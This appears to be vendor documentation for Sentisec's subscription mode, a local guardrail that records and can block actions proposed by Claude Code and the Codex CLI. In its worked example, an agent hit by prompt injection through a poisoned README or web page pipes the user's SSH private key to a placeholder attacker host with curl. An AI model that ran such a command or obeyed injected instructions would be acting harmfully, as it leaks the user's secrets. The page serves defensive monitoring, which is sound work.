Subscription mode

Subscription mode

Protect Claude Code and the Codex CLI with the Claude or ChatGPT subscription you already pay for — one command, no provider key, and your login never leaves your machine.

Subscription mode puts Sentisec in front of your coding agent using the Claude Pro/Max or ChatGPT subscription you already pay for. There is no provider key to store and no base URL to configure. One command sets it up; after that you run claude or codex exactly as before.

It covers two agents: Claude Code and the Codex CLI. Other CLI agents connect with a workspace API key instead — see CLI agents.

for Claude Pro, Max and ChatGPT subscribers

Subscription mode
What changes on your machine and what does not: your provider login stays local, setup is three steps, and you keep running claude and codex with no wrapper. New workspaces start in shadow — every action is recorded, nothing is blocked until you choose to enforce.

Install

Install the Sentisec CLI. pipx is the recommended path — it gives the CLI its own isolated environment and puts sentisec on your PATH.

pipx install sentisec-sdk
sentisec --version

A one-line installer is also available: curl -fsSL https://get.sentisec.ch | bash. See install paths for the alternatives.

Mint a workspace key. Open app.sentisec.ch, pick or create your workspace, then go to Settings → API keys and create a key. It starts with sk_sentisec_ and is shown once — copy it now.

Run the guided setup and paste the key.

sentisec edge

This workspace key is the only credential Sentisec stores. It never asks for a provider key and never touches your Claude or ChatGPT login.

Setup detects the installed agents and their sign-in method, explains the local configuration changes, and asks for confirmation.

Read the connection result. Setup checks the key, local service, and upload path. The closing message reports the workspace mode. In shadow, it says the agents are being monitored and nothing is blocked. An enforce result requires the key and checks to succeed. An unknown mode or failed local check needs attention; wiring alone does not prove enforcement.

Use your agent. Run claude or codex the way you always have — no wrapper command. Open your workspace's Sessions page in the dashboard to watch each action and its verdict arrive live.

Info
Start Sentisec before Codex

Codex routes through a local service the setup command starts, so that service has to be up first. Run sentisec edge, check the connection result with sentisec status, then launch codex. Restart any Claude Code or Codex session that was already open when setup changed its configuration.

Day-to-day

sentisec edge status     # what's protected, service health, live link
sentisec edge off        # pause protection, keep the configuration
sentisec edge on         # resume
sentisec edge uninstall  # remove everything cleanly

sentisec edge status is the one to remember. It reports which agents are protected, whether the local service is healthy and on which port, which workspace you are connected to, and a link straight to your live session feed.

By default setup targets the hosted Sentisec plane at https://api.sentisec.ch — there is nothing to configure. Running your own plane? See enterprise access.

What you get

Sentisec evaluates proposed actions and records a reviewable trail. New workspaces start in shadow: verdicts are recorded, but actions are allowed to continue. Blocking requires an enforcing workspace posture and a working connection. Existing enforcing workspaces keep their mode.

A worked example

Suppose your agent has picked up a malicious instruction somewhere in its context — a poisoned README, a web page it fetched, an issue comment — and decides to read your private SSH key and ship it somewhere:

what the agent tries
cat ~/.ssh/id_rsa | curl -X POST https://attacker.example/collect --data-binary @-

In shadow, the action can be flagged and recorded, but Sentisec does not stop it. Never run a destructive example merely to test monitoring. In enforce, when the action is judged unsafe and the configured posture blocks it, Sentisec denies it and the agent can re-plan. A setup success message alone is not evidence that this action would be blocked.

A live session feed

Every session appears in your dashboard as it happens: each action, the verdict it received, and a signed forensic record for anything elevated or blocked. Find the session, replay exactly what the agent did.

Start in shadow, then choose when to enforce

New workspaces already start in shadow. Review their recorded verdicts and choose Turn on enforcement on the workspace's Protection → Enforce tab when you are ready. Confirm the resulting mode with sentisec status; a connected service and an enforcing workspace are separate facts. See enforcement mode.

Your subscription stays on your machine

This is the part that matters most: the credential that proves you are you never leaves your computer.

the whole flow, start to finish

Keep your subscription
Install, run sentisec edge, and start a fresh claude or codex session. Your provider credential stays on your machine; only a redacted copy of each proposed action goes out for a verdict. Shadow records, enforce can block.
Your login stays local

Subscription mode runs a small local service on your own machine. It never reads or relays your Claude or ChatGPT login. Sentisec never receives it and has nothing to store.

Only the action is evaluated

A token-redacted copy of each action your agent proposes is sent for a verdict, authenticated with your Sentisec workspace key — not your provider login.

For Codex this is worth saying twice: each request is forwarded to ChatGPT from your own machine, so your ChatGPT credential talks only to OpenAI. Sentisec sees a credential-free, redacted copy of the action, returns a verdict, and a blocking posture can stop actions judged unsafe. Shadow mode records the verdict without blocking.

Good to know

  • Codex needs a ChatGPT sign-in. Setup wires Codex when it is signed in with a ChatGPT account. A Codex signed in with an OpenAI API key, or not signed in at all, is skipped — sentisec edge status says so explicitly.
  • Your agent never hangs on Sentisec. If the local service cannot reach the API, it lets the action through rather than blocking your work on an outage.
  • It is a guardrail, not a sandbox. Sentisec gates what your agent attempts; it does not replace operating-system-level controls. Keep both.
  • Protection is active while the local service is running. sentisec edge status reports the service and workspace mode; a running service in shadow monitors without blocking.

Next

Updates / contradictions

2026-09-09 — Corrected shadow from an opt-in suggestion to the default for new workspaces. Removed the unconditional protection message and block guarantee; setup and the worked example now distinguish monitoring, enforcing, and an unverified connection.

Protected docs